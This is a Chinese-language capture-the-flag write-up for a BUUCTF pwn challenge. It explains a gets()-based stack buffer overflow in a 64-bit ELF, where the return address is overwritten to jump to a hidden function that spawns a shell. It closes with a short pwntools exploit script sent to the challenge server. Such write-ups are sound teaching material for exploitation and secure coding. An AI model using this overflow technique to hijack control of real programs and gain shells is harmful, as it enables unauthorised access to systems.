文件分析
下载附件,分析文件
可以看到是64位ELF文件,elf可以理解为Linux中的可执行文件,就像Windows中的exe文件
用ida打开文件
查看main函数的伪代码,可以看到有一个15位的字符数组,该数组通过gets函数传值
还有一个名为fun的函数,该函数返回一个shell
这里main函数没有调用fun函数,该如何执行fun函数,以达到获取shell的目的呢?
栈溢出
函数的局部变量会存放在他的栈中,在main函数中字符数组s在栈中的空间就是15字节
程序栈结构,esp指向的是栈顶:
回到main函数中,字符数组 s 通过gets方式传参获得值
s在上图中Local Variables
的位置
通过ida知道,s距离rbp(即上图中的ebp)距离为15字节
由于gets可以不限长度无限输入数据,我们可以构造超出数组长度的数据,使数据溢出到Caller's ebp
,然后继续溢出到Return Address
的位置,如果让Return Address
指向一个危险的函数,那么就可以通过危险函数获取目标机器的权限
之前说到的危险函数 fun() ,他的地址就是0x401186
思路整理
需要先传入15个字符,使数据到rbp
然后由于是64位的系统,填充8字节,即1字的数据填满rbp
最后再在Return Address
处传入fun函数的地址0x401186即可执行fun函数,获取系统权限
exp
这里用python中的pwntools模块发送数据
from pwn import *
p = remote("node4.buuoj.cn",26666)
payload = b'a' * (15+8)
payload += p64(0x401186+1)
p.sendline(payload)
p.interactive()
payload+1是为了堆栈平衡,关于堆栈平衡详细可以看这篇文章:pwn64位amd构造payload时间的堆栈平衡问题
成功获取权限